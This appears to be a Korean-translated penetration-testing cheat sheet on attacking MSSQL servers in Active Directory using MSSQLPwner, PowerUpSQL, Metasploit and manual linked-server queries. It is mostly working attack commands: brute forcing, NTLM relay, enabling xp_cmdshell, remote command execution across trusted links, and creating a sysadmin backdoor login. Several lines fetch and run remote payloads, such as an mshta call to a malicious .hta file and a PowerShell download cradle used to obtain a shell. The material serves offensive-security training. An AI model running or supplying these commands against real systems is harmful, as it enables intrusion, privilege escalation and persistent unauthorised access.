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MSSQL AD Abuse

MSSQL AD Abuse

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MSSQL Enumeration / Discovery

Python

MSSQLPwner 도구는 impacket을 기반으로 하며, kerberos 티켓을 사용하여 인증하고 링크 체인을 통해 공격할 수 있습니다.

```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

Interactive mode with 2 depth level of impersonations

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive

Executing custom assembly on the current server with windows authentication and executing hostname command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

Executing the hostname command using stored procedures on the linked SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Issuing NTLM relay attack on the SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on the local server with custom command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Executing direct query

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

Retrieving password from the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

Execute code using custom assembly on the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using tickets against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

Bruteforce using passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

Bruteforce using hashes against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

### 도메인 세션 없이 네트워크에서 열거하기

Interactive mode

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

---
###  Powershell

이 경우에 powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)이 매우 유용합니다.
```powershell
Import-Module .\PowerupSQL.psd1

도메인 세션 없이 네트워크에서 열거하기

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

도메인 내부에서 열거하기

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL 기본 악용

데이터베이스 접근

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

MSSQL 호스트 내에서 명령을 실행하는 것도 가능할 수 있습니다.

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Check in the page mentioned in the 다음 섹션에서 수동으로 수행하는 방법을 확인하십시오.

MSSQL 기본 해킹 기법

MSSQL 신뢰 링크

MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰되는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.

데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.

Powershell 남용

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

metasploit을 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수 있습니다.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)

Manual - Openquery()

From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py.

From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL

Login using Windows authentication:

신뢰할 수 있는 링크 찾기

select * from master..sysservers;
EXEC sp_linkedservers;

신뢰할 수 있는 링크에서 쿼리 실행

링크를 통해 쿼리를 실행합니다 (예: 새로 접근 가능한 인스턴스에서 더 많은 링크 찾기):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

더블 및 싱글 쿼트가 사용되는 위치를 확인하세요. 그렇게 사용하는 것이 중요합니다.

이 신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

If you cannot perform actions like exec xp_cmdshell from openquery() try with the EXECUTE method.

Manual - EXECUTE

신뢰할 수 있는 링크를 사용하여 EXECUTE를 악용할 수도 있습니다:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

로컬 권한 상승

MSSQL 로컬 사용자는 일반적으로 **SeImpersonatePrivilege**라는 특별한 유형의 권한을 가지고 있습니다. 이는 계정이 "인증 후 클라이언트를 가장할 수 있도록" 허용합니다.

많은 저자들이 제안한 전략은 SYSTEM 서비스가 공격자가 생성한 악성 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 이 악성 서비스는 인증을 시도하는 동안 SYSTEM 서비스를 가장할 수 있습니다.

SweetPotato에는 Beacon의 execute-assembly 명령을 통해 실행할 수 있는 다양한 기술이 모여 있습니다.

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